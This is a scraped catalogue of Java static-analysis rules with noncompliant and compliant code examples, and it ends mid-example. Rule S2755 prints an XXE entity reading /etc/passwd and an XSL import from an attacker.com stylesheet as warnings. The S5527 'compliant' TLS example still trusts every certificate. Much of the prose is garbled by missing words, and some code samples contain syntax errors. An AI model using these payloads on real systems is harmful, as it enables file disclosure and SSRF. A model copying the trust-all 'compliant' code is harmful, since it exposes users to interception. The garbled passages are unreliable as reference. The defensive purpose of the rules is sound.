Once deprecated, classes, and interfaces, and their members should be avoided, rather than used, inherited or extended. Deprecation is a warning that the class or interface has been superseded, and will eventually be removed. The deprecation period allows you to make a smooth transition away from the aging, soon-to-be-retired technology. Noncompliant Code Example/** * @deprecated As of release 1.3, replaced by {@link #Fee} */ @Deprecated public class Fum { ... } public class Foo { /** * @deprecated As of release 1.7, replaced by {@link #doTheThingBetter()} */ @Deprecated public void doTheThing() { ... } public void doTheThingBetter() { ... } } public class Bar extends Foo { public void doTheThing() { ... } // Noncompliant; don't override a deprecated method or explicitly mark it as @Deprecated } public class Bar extends Fum { // Noncompliant; Fum is deprecated public void myMethod() { Foo foo = new Foo(); // okay; the class isn't deprecated foo.doTheThing(); // Noncompliant; doTheThing method is deprecated } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2755 |
XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs. Example in this XML document, an external entity read the /etc/passwd file: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <to>&xxe;</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note> In this XSL document, network access is allowed which can lead to SSRF vulnerabilities: <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl"> <xsl:import href="http://www.attacker.com/evil.xsl"/> <xsl:include href="http://www.attacker.com/evil.xsl"/> <xsl:template match="/"> &content; </xsl:template> </xsl:stylesheet> It is recommended to disable access to external entities and network access in general. To protect Java XML Parsers from XXE attacks these properties have been defined since JAXP 1.5:
Note that Apache Xerces is still based on JAXP 1.4, therefore one solution is to set to
Avoid FEATURE_SECURE_PROCESSING feature to protect from XXE attacks because depending on the implementation:
Noncompliant Code ExamplesDocumentBuilderFactory library: String xml = "xxe.xml"; DocumentBuilderFactory df = DocumentBuilderFactory.newInstance(); // Noncompliant DocumentBuilder builder = df.newDocumentBuilder(); Document document = builder.parse(new InputSource(xml)); DOMSource domSource = new DOMSource(document); SAXParserFactory library: String xml = "xxe.xml"; SaxHandler handler = new SaxHandler(); SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = factory.newSAXParser(); // Noncompliant parser.parse(xml, handler); XMLInputFactory library: XMLInputFactory factory = XMLInputFactory.newInstance(); // Noncompliant XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml")); TransformerFactory library: String xslt = "xxe.xsl"; String xml = "xxe.xml"; TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance(); // Noncompliant Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt)); StringWriter writer = new StringWriter(); transformer.transform(new StreamSource(xml), new StreamResult(writer)); String result = writer.toString(); SchemaFactory library: String xsd = "xxe.xsd"; StreamSource xsdStreamSource = new StreamSource(xsd); SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); // Noncompliant Schema schema = schemaFactory.newSchema(xsdStreamSource); Validator library: String xsd = "xxe.xsd"; String xml = "xxe.xml"; StreamSource xsdStreamSource = new StreamSource(xsd); StreamSource xmlStreamSource = new StreamSource(xml); SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); Schema schema = schemaFactory.newSchema(xsdStreamSource); Validator validator = schema.newValidator(); // Noncompliant StringWriter writer = new StringWriter(); validator.validate(xmlStreamSource, new StreamResult(writer)); Dom4j library: SAXReader xmlReader = new SAXReader(); // Noncompliant by default Document xmlResponse = xmlReader.read(xml); Jdom2 library: SAXBuilder builder = new SAXBuilder(); // Noncompliant by default Document document = builder.build(new File(xml)); Compliant SolutionDocumentBuilderFactory library: String xml = "xxe.xml"; DocumentBuilderFactory df = DocumentBuilderFactory.newInstance(); df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant DocumentBuilder builder = df.newDocumentBuilder(); Document document = builder.parse(new InputSource(xml)); DOMSource domSource = new DOMSource(document); SAXParserFactory library: String xml = "xxe.xml"; SaxHandler handler = new SaxHandler(); SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = factory.newSAXParser(); parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant parser.parse(xml, handler); XMLInputFactory library: XMLInputFactory factory = XMLInputFactory.newInstance(); factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml")); TransformerFactory library: String xslt = "xxe.xsl"; String xml = "xxe.xml"; TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance(); transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // Compliant // ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt)); StringWriter writer = new StringWriter(); transformer.transform(new StreamSource(xml), new StreamResult(writer)); String result = writer.toString(); SchemaFactory library: String xsd = "xxe.xsd"; StreamSource xsdStreamSource = new StreamSource(xsd); SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant Schema schema = schemaFactory.newSchema(xsdStreamSource); Validator library: String xsd = "xxe.xsd"; String xml = "xxe.xml"; StreamSource xsdStreamSource = new StreamSource(xsd); StreamSource xmlStreamSource = new StreamSource(xml); SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); Schema schema = schemaFactory.newSchema(xsdStreamSource); schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // validators will also inherit of these properties Validator validator = schema.newValidator(); validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant StringWriter writer = new StringWriter(); validator.validate(xmlStreamSource, new StreamResult(writer)); For dom4j library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fix is to disable doctype declarations: SAXReader xmlReader = new SAXReader(); xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Compliant Document xmlResponse = xmlReader.read(xml); Jdom2 library: SAXBuilder builder = new SAXBuilder(); // Compliant builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant builder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant Document document = builder.build(new File(xml)); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2637 |
Fields, parameters and return values marked Noncompliant Code Examplepublic class MainClass { @Nonnull private String primary; private String secondary; public MainClass(String color) { if (color != null) { secondary = null; } primary = color; // Noncompliant; "primary" is Nonnull but could be set to null here } public MainClass() { // Noncompliant; "primary" Nonnull" but is not initialized } @Nonnull public String indirectMix() { String mix = null; return mix; // Noncompliant; return value is Nonnull, but null is returned.}} } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3725 |
The The same goes for Note that this rule is automatically disabled when the project's Noncompliant Code ExamplePath myPath; if(java.nio.Files.exists(myPath)) { // Noncompliant // do something } Compliant SolutionPath myPath; if(myPath.toFile().exists())) { // do something } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2757 |
The use of operators pairs ( This rule raises an issue when Noncompliant Code Exampleint target = -5; int num = 3; target =- num; // Noncompliant; target = -3. Is that really what's meant? target =+ num; // Noncompliant; target = 3 Compliant Solutionint target = -5; int num = 3; target = -num; // Compliant; intent to assign inverse value of num is clear target += num; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2639 |
Regular expressions are powerful but tricky, and even those long used to using them can make mistakes. The following should not be used as regular expressions:
Noncompliant Code ExampleString str = "/File|Name.txt"; String clean = str.replaceAll(".",""); // Noncompliant; probably meant to remove only dot chars, but returns an empty string String clean2 = str.replaceAll("|","_"); // Noncompliant; yields _/_F_i_l_e_|_N_a_m_e_._t_x_t_ String clean3 = str.replaceAll(File.separator,""); // Noncompliant; exception on Windows String clean4 = str.replaceFirst(".",""); // Noncompliant; String clean5 = str.replaceFirst("|","_"); // Noncompliant; String clean6 = str.replaceFirst(File.separator,""); // Noncompliant; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4818 |
Using sockets is security-sensitive. It has led in the past to the following vulnerabilities: Sockets are vulnerable in multiple ways:
This rules flags code that creates sockets. It matches only the direct use of sockets, not use through frameworks or high-level APIs such as the use of http connections. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Example// === java.net === import java.net.Socket; import java.net.InetAddress; import java.net.Proxy; import java.net.ServerSocket; import javax.net.SocketFactory; class A { void foo(SocketFactory factory, String address, int port, InetAddress localAddr, int localPort, boolean stream, String host, Proxy proxy, int backlog, InetAddress bindAddr) throws Exception { new Socket(); // Sensitive. new Socket(address, port); // Sensitive. new Socket(address, port, localAddr, localPort); // Sensitive. new Socket(host, port, stream); // Sensitive. new Socket(proxy); // Sensitive. new Socket(host, port); // Sensitive. new Socket(host, port, stream); // Sensitive. new Socket(host, port, localAddr, localPort); // Sensitive. new ServerSocket(); // Sensitive. new ServerSocket(port); // Sensitive. new ServerSocket(port, backlog); // Sensitive. new ServerSocket(port, backlog, bindAddr); // Sensitive. factory.createSocket(); // Sensitive } } abstract class mySocketFactory extends SocketFactory { // Sensitive. Review how the sockets are created. // ... } // === java.nio.channels === import java.net.SocketAddress; import java.nio.channels.AsynchronousChannelGroup; import java.nio.channels.AsynchronousServerSocketChannel; import java.nio.channels.AsynchronousSocketChannel; import java.nio.channels.SocketChannel; import java.nio.channels.ServerSocketChannel; class A { void foo(AsynchronousChannelGroup group, SocketAddress remote) throws Exception { AsynchronousServerSocketChannel.open(); // Sensitive. AsynchronousServerSocketChannel.open(group); // Sensitive. AsynchronousSocketChannel.open(); // Sensitive. AsynchronousSocketChannel.open(group); // Sensitive. SocketChannel.open(); // Sensitive. SocketChannel.open(remote); // Sensitive. ServerSocketChannel.open(); // Sensitive. } } // === Netty === import io.netty.channel.ChannelInitializer; import io.netty.channel.socket.ServerSocketChannel; import io.netty.channel.socket.SocketChannel; class CustomChannelInitializer extends ChannelInitializer<ServerSocketChannel> { // Sensitive. Review how the SocketChannel is used. @Override protected void initChannel(ServerSocketChannel ch) throws Exception { } } class A { void foo() { new ChannelInitializer<SocketChannel>() { // Sensitive @Override public void initChannel(SocketChannel ch) throws Exception { // ... } }; } } See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2638 |
Because a subclass instance may be cast to and treated as an instance of the superclass, overriding methods should uphold the aspects of the
superclass contract that relate to the Liskov Substitution Principle. Specifically, if the parameters or return type of the superclass method are
marked with any of the following: Noncompliant Code Examplepublic class Fruit { private Season ripe; private String color; public void setRipe(@Nullable Season ripe) { this.ripe = ripe; } public @NotNull Integer getProtein() { return 12; } } public class Raspberry extends Fruit { public void setRipe(@NotNull Season ripe) { // Noncompliant this.ripe = ripe; } public @Nullable Integer getProtein() { // Noncompliant return null; } } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1309 |
This rule allows you to track the usage of the Noncompliant Code ExampleWith a parameter value of "unused" : @SuppressWarnings("unused") @SuppressWarnings("unchecked") // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1541 |
The cyclomatic complexity of methods should not exceed a defined threshold. Complex code can perform poorly and will in any case be difficult to understand and therefore to maintain. ExceptionsWhile having a large number of fields in a class may indicate that it should be split, this rule nonetheless ignores high complexity in
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1301 |
For just one or two cases however, the code will be more readable with Noncompliant Code Exampleswitch (variable) { case 0: doSomething(); break; default: doSomethingElse(); break; } Compliant Solutionif (variable == 0) { doSomething(); } else { doSomethingElse(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4925 |
In the past, it was required to load a JDBC driver before creating a This rule raises an issue when
Noncompliant Code Exampleimport java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException; public class Demo { private static final String DRIVER_CLASS_NAME = "org.postgresql.Driver"; private final Connection connection; public Demo(String serverURI) throws SQLException, ClassNotFoundException { Class.forName(DRIVER_CLASS_NAME); // Noncompliant; no longer required to load the JDBC Driver using Class.forName() connection = DriverManager.getConnection(serverURI); } } Compliant Solutionimport java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException; public class Demo { private final Connection connection; public Demo(String serverURI) throws SQLException { connection = DriverManager.getConnection(serverURI); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1656 |
There is no reason to re-assign a variable to itself. Either this statement is redundant and should be removed, or the re-assignment is a mistake and some other value or variable was intended for the assignment instead. Noncompliant Code Examplepublic void setName(String name) { name = name; } Compliant Solutionpublic void setName(String name) { this.name = name; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1659 |
Declaring multiple variables on one line is difficult to read. Noncompliant Code Exampleclass MyClass { private int a, b; public void method(){ int c; int d; } } Compliant Solutionclass MyClass { private int a; private int b; public void method(){ int c; int d; } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3959 |
Stream operations are divided into intermediate and terminal operations, and are combined to form stream pipelines. After the terminal operation is performed, the stream pipeline is considered consumed, and cannot be used again. Such a reuse will yield unexpected results. Noncompliant Code ExampleStream<Widget> pipeline = widgets.stream().filter(b -> b.getColor() == RED); int sum1 = pipeline.sum(); int sum2 = pipeline.mapToInt(b -> b.getWeight()).sum(); // Noncompliant See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4929 |
When directly subclassing This rule raises an issue when a direct subclass of Noncompliant Code Examplepublic class MyInputStream extends java.io.InputStream { private FileInputStream fin; public MyInputStream(File file) throws IOException { fin = new FileInputStream(file); } @Override public int read() throws IOException { return fin.read(); } } Compliant Solutionpublic class MyInputStream extends java.io.InputStream { private FileInputStream fin; public MyInputStream(File file) throws IOException { fin = new FileInputStream(file); } @Override public int read() throws IOException { return fin.read(); } @Override public int read(byte[] b, int off, int len) throws IOException { return fin.read(b, off, len); } } ExceptionsThis rule doesn't raise an issue when the class is declared |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3958 |
There are two types of stream operations: intermediate operations, which return another stream, and terminal operations, which return something other than a stream. Intermediate operations are lazy, meaning they aren't actually executed until and unless a terminal stream operation is performed on their results. Consequently if the result of an intermediate stream operation is not fed to a terminal operation, it serves no purpose, which is almost certainly an error. Noncompliant Code Examplewidgets.stream().filter(b -> b.getColor() == RED); // Noncompliant Compliant Solutionint sum = widgets.stream() .filter(b -> b.getColor() == RED) .mapToInt(b -> b.getWeight()) .sum(); Stream<Widget> pipeline = widgets.stream() .filter(b -> b.getColor() == GREEN) .mapToInt(b -> b.getWeight()); sum = pipeline.sum(); See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4926 |
Providing a
When the Therefore, defining Noncompliant Code Examplepublic class Foo implements Serializable { private static final long serialVersionUID = 1; } public class BarException extends RuntimeException { private static final long serialVersionUID = 8582433437601788991L; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2629 |
Passing message arguments that require further evaluation into a Guava Similarly, passing concatenated strings into a logging method can also incur a needless performance hit because the concatenation will be performed every time the method is called, whether or not the log level is low enough to show the message. Instead, you should structure your code to pass static or pre-computed values into Specifically, the built-in string formatting should be used instead of string concatenation, and if the message is the result of a method call,
then Noncompliant Code Examplelogger.log(Level.DEBUG, "Something went wrong: " + message); // Noncompliant; string concatenation performed even when log level too high to show DEBUG messages logger.fine("An exception occurred with message: " + message); // Noncompliant LOG.error("Unable to open file " + csvPath, e); // Noncompliant Preconditions.checkState(a > 0, "Arg must be positive, but got " + a); // Noncompliant. String concatenation performed even when a > 0 Preconditions.checkState(condition, formatMessage()); // Noncompliant. formatMessage() invoked regardless of condition Preconditions.checkState(condition, "message: %s", formatMessage()); // Noncompliant Compliant Solutionlogger.log(Level.SEVERE, "Something went wrong: {0} ", message); // String formatting only applied if needed logger.fine("An exception occurred with message: {}", message); // SLF4J, Log4j logger.log(Level.SEVERE, () -> "Something went wrong: " + message); // since Java 8, we can use Supplier , which will be evaluated lazily LOG.error("Unable to open file {0}", csvPath, e); if (LOG.isDebugEnabled() { LOG.debug("Unable to open file " + csvPath, e); // this is compliant, because it will not evaluate if log level is above debug. } Preconditions.checkState(arg > 0, "Arg must be positive, but got %d", a); // String formatting only applied if needed if (!condition) { throw new IllegalStateException(formatMessage()); // formatMessage() only invoked conditionally } if (!condition) { throw new IllegalStateException("message: " + formatMessage()); } Exceptions
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2864 |
When only the keys from a map are needed in a loop, iterating the Noncompliant Code Examplepublic void doSomethingWithMap(Map<String,Object> map) { for (String key : map.keySet()) { // Noncompliant; for each key the value is retrieved Object value = map.get(key); // ... } } Compliant Solutionpublic void doSomethingWithMap(Map<String,Object> map) { for (Map.Entry<String,Object> entry : map.entrySet()) { String key = entry.getKey(); Object value = entry.getValue(); // ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1774 |
While the ternary operator is pleasingly compact, its use can make code more difficult to read. It should therefore be avoided in favor of the more
verbose Noncompliant Code ExampleSystem.out.println(i>10?"yes":"no"); Compliant Solutionif (i > 10) { System.out.println(("yes"); } else { System.out.println("no"); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4792 |
Configuring loggers is security-sensitive. It has led in the past to the following vulnerabilities: Logs are useful before, during and after a security incident.
Logs are also a target for attackers because they might contain sensitive information. Configuring loggers has an impact on the type of information logged and how they are logged. This rule flags for review code that initiates loggers configuration. The goal is to guide security code reviews. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Remember that configuring loggers properly doesn't make them bullet-proof. Here is a list of recommendations explaining on how to use your logs:
Sensitive Code ExampleThis rule supports the following libraries: Log4J, // === Log4J 2 === import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilderFactory; import org.apache.logging.log4j.Level; import org.apache.logging.log4j.core.*; import org.apache.logging.log4j.core.config.*; // Sensitive: creating a new custom configuration abstract class CustomConfigFactory extends ConfigurationFactory { // ... } class A { void foo(Configuration config, LoggerContext context, java.util.Map<String, Level> levelMap, Appender appender, java.io.InputStream stream, java.net.URI uri, java.io.File file, java.net.URL url, String source, ClassLoader loader, Level level, Filter filter) throws java.io.IOException { // Creating a new custom configuration ConfigurationBuilderFactory.newConfigurationBuilder(); // Sensitive // Setting loggers level can result in writing sensitive information in production Configurator.setAllLevels("com.example", Level.DEBUG); // Sensitive Configurator.setLevel("com.example", Level.DEBUG); // Sensitive Configurator.setLevel(levelMap); // Sensitive Configurator.setRootLevel(Level.DEBUG); // Sensitive config.addAppender(appender); // Sensitive: this modifies the configuration LoggerConfig loggerConfig = config.getRootLogger(); loggerConfig.addAppender(appender, level, filter); // Sensitive loggerConfig.setLevel(level); // Sensitive context.setConfigLocation(uri); // Sensitive // Load the configuration from a stream or file new ConfigurationSource(stream); // Sensitive new ConfigurationSource(stream, file); // Sensitive new ConfigurationSource(stream, url); // Sensitive ConfigurationSource.fromResource(source, loader); // Sensitive ConfigurationSource.fromUri(uri); // Sensitive } } // === java.util.logging === import java.util.logging.*; class M { void foo(LogManager logManager, Logger logger, java.io.InputStream is, Handler handler) throws SecurityException, java.io.IOException { logManager.readConfiguration(is); // Sensitive logger.setLevel(Level.FINEST); // Sensitive logger.addHandler(handler); // Sensitive } } // === Logback === import ch.qos.logback.classic.util.ContextInitializer; import ch.qos.logback.core.Appender; import ch.qos.logback.classic.joran.JoranConfigurator; import ch.qos.logback.classic.spi.ILoggingEvent; import ch.qos.logback.classic.*; class M { void foo(Logger logger, Appender<ILoggingEvent> fileAppender) { System.setProperty(ContextInitializer.CONFIG_FILE_PROPERTY, "config.xml"); // Sensitive JoranConfigurator configurator = new JoranConfigurator(); // Sensitive logger.addAppender(fileAppender); // Sensitive logger.setLevel(Level.DEBUG); // Sensitive } } ExceptionsLog4J 1.x is not covered as it has reached end of life. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1160 |
Using checked exceptions forces method callers to deal with errors, either by propagating them or by handling them. Throwing exceptions makes them fully part of the API of the method. But to keep the complexity for callers reasonable, methods should not throw more than one kind of checked exception. Noncompliant Code Examplepublic void delete() throws IOException, SQLException { // Noncompliant /* ... */ } Compliant Solutionpublic void delete() throws SomeApplicationLevelException { /* ... */ } ExceptionsOverriding methods are not checked by this rule and are allowed to throw several checked exceptions. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2251 |
A Noncompliant Code Examplepublic void doSomething(String [] strings) { for (int i = 0; i < strings.length; i--) { // Noncompliant; String string = strings[i]; // ArrayIndexOutOfBoundsException when i reaches -1 //... } Compliant Solutionpublic void doSomething(String [] strings) { for (int i = 0; i < strings.length; i++) { String string = strings[i]; //... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1161 |
Using the
Noncompliant Code Exampleclass ParentClass { public boolean doSomething(){...} } class FirstChildClass extends ParentClass { public boolean doSomething(){...} // Noncompliant } Compliant Solutionclass ParentClass { public boolean doSomething(){...} } class FirstChildClass extends ParentClass { @Override public boolean doSomething(){...} // Compliant } ExceptionsThis rule is relaxed when overriding a method from the |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2130 |
Rather than creating a boxed primitive from a Noncompliant Code ExampleString myNum = "12.2"; float f = (new Float(myNum)).floatValue(); // Noncompliant; creates & discards a Float Compliant SolutionString myNum = "12.2"; float f = Float.parseFloat(myNum); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2250 |
The time complexity of method calls on collections is not always obvious. For instance, for most collections the This rule raises an issue when the following O(n) methods are called outside of constructors on class fields:
Noncompliant Code ExampleConcurrentLinkedQueue queue = new ConcurrentLinkedQueue(); //... log.info("Queue contains " + queue.size() + " elements"); // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4790 |
Cryptographic hash algorithms such as Ask Yourself WhetherThe hashed value is used in a security context like:
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesSafer alternatives, such as Sensitive Code ExampleMessageDigest md = MessageDigest.getInstance("SHA1"); // Sensitive Compliant SolutionMessageDigest md = MessageDigest.getInstance("SHA-256"); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1162 |
The purpose of checked exceptions is to ensure that errors will be dealt with, either by propagating them or by handling them, but some believe that checked exceptions negatively impact the readability of source code, by spreading this error handling/propagation logic everywhere. This rule verifies that no method throws a new checked exception. Noncompliant Code Examplepublic void myMethod1() throws CheckedException { ... throw new CheckedException(message); // Noncompliant ... throw new IllegalArgumentException(message); // Compliant; IllegalArgumentException is unchecked } public void myMethod2() throws CheckedException { // Compliant; propagation allowed myMethod1(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S818 |
Using upper case literal suffixes removes the potential ambiguity between "1" (digit 1) and "l" (letter el) for declaring literals. Noncompliant Code Examplelong long1 = 1l; // Noncompliant float float1 = 1.0f; // Noncompliant double double1 = 1.0d; // Noncompliant Compliant Solutionlong long1 = 1L; float float1 = 1.0F; double double1 = 1.0D; See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2139 |
In applications where the accepted practice is to log an Noncompliant Code Examplecatch (SQLException e) { ... LOGGER.log(Level.ERROR, contextInfo, e); throw new MySQLException(contextInfo, e); } Compliant Solutioncatch (SQLException e) { ... throw new MySQLException(contextInfo, e); } or catch (SQLException e) { ... LOGGER.log(Level.ERROR, contextInfo, e); // handle exception... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5527 |
To establish a SSL/TLS connection not vulnerable to man-in-the-middle attacks, it's essential to make sure the server presents the right certificate. The certificate's hostname-specific data should match the server hostname. It's not recommended to re-invent the wheel by implementing custom hostname verification. TLS/SSL libraries provide built-in hostname verification functions that should be used. This rule raises an issue when:
Noncompliant Code ExampleSSLContext sslcontext = SSLContext.getInstance( "TLS" ); sslcontext.init(null, new TrustManager[]{new X509TrustManager() { public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {} public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {} public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; } }}, new java.security.SecureRandom()); Client client = ClientBuilder.newBuilder().sslContext(sslcontext).hostnameVerifier(new HostnameVerifier() { @Override public boolean verify(String requestedHost, SSLSession remoteServerSession) { return true; // Noncompliant } }).build(); SimpleEmail example: Email email = new SimpleEmail(); email.setSmtpPort(465); email.setAuthenticator(new DefaultAuthenticator(username, password)); email.setSSLOnConnect(true); // Noncompliant; setSSLCheckServerIdentity(true) should also be called before sending the email email.send(); JavaMail's example: Properties props = new Properties(); props.put("mail.smtp.host", "smtp.gmail.com"); props.put("mail.smtp.socketFactory.port", "465"); props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory"); // Noncompliant; Session is created without having "mail.smtp.ssl.checkserveridentity" set to true props.put("mail.smtp.auth", "true"); props.put("mail.smtp.port", "465"); Session session = Session.getDefaultInstance(props, new javax.mail.Authenticator() { protected PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication("username@gmail.com", "password"); } }); Compliant SolutionSSLContext sslcontext = SSLContext.getInstance( "TLSv1.2" ); sslcontext.init(null, new TrustManager[]{new X509TrustManager() { @Override public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {} @Override public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {} @Override public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; } }}, new java.security.SecureRandom()); Client client = ClientBuilder.newBuilder().sslContext(sslcontext).hostnameVerifier(new HostnameVerifier() { @Override public boolean verify(String requestedHost, SSLSession remoteServerSession) { return requestedHost.equalsIgnoreCase(remoteServerSession.getPeerHost()); // Compliant } }).build(); SimpleEmail example: Email email = new 